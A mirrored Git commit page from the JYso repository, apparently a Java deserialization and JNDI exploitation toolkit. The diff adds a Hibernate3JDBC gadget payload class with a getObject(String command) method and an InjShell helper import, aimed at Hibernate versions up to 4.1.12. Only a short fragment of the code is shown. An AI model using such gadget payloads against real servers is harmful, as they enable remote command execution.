mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-26 00:31:52 +08:00
add Hibernate3JDBC (org.hibernate<=4.12可用)
This commit is contained in:
@@ -18,9 +18,9 @@ import javax.management.BadAttributeValueExpException;
|
|||||||
|
|
||||||
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
|
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
|
||||||
|
|
||||||
@Dependencies({" org.hibernate<=4.12"})
|
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina"})
|
||||||
@Authors({Authors.Unam4})
|
@Authors({Authors.Unam4})
|
||||||
public class Hibernate3JDBC implements ObjectPayload<Object>{
|
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
ClassPool pool = ClassPool.getDefault();
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
|||||||
Reference in New Issue
Block a user